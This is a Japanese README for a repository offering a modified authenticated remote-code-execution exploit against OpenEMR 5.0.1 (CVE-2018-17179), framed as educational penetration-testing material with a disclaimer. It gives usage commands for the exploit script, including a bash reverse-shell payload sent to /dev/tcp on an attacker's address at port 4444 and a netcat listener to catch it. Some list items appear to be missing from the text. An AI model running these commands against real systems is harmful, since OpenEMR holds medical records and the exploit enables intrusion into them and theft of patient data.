
OpenEMR 5.0.1(CVE-2018-17179)向け認証されたリモートコード実行エクスプロイト。カスタマイズ可能なコマンドペイロードとリバースシェルサポートを備え、教育目的の侵入テストに対応。
⚠️ 免責事項
このリポジトリは教育および研究目的のみを厳密に意図しています。
ここに提供される情報とコードは管理された環境(プライベートラボマシンなど)でのみ使用できます。
自分が所有していない、または明示的なテスト許可がないシステムに対してこのコードを無断で使用することは違法かつ非倫理的です。
著者は誤用や損害について一切の責任を負いません。
CVE-2018-17179 は、広く使われているオープンソースの電子カルテおよび診療管理ソフトウェア OpenEMR に影響を与えます。
rest_routes.php エンドポイントの認証メカニズムに欠陥があり、認証済みユーザーがサーバー上で任意のコマンドを実行できます。
これにより、Web サーバーユーザーの権限で リモートコード実行 (RCE) が可能になります。
interface/main/main_screen.php(rest_routes.php 経由)このリポジトリは、Exploit-DB の公開エクスプロイトを修正したバージョンを提供します。
このカスタマイズされたエクスプロイトでは:
ローカルテスト用の OpenEMR ログインパネルを対象にしました:

使用方法: python2 exploit.py <target_url> -u -p -c
例: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- Python 2 がインストールされていることを確認してください。
- ユーザーは脆弱な `rest_routes.php` エンドポイントにアクセスできる必要があります。
エクスプロイトの実行
修正したエクスプロイトスクリプトを bash リバースシェルペイロードで実行しました:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

ポート 4444 の Netcat リスナーがリバースシェルを正常に受信しました:
nc -nvlp 4444

詳細なウォークスルーと理論については、私の Medium 記事をご覧ください:
👉 Medium でブログを読む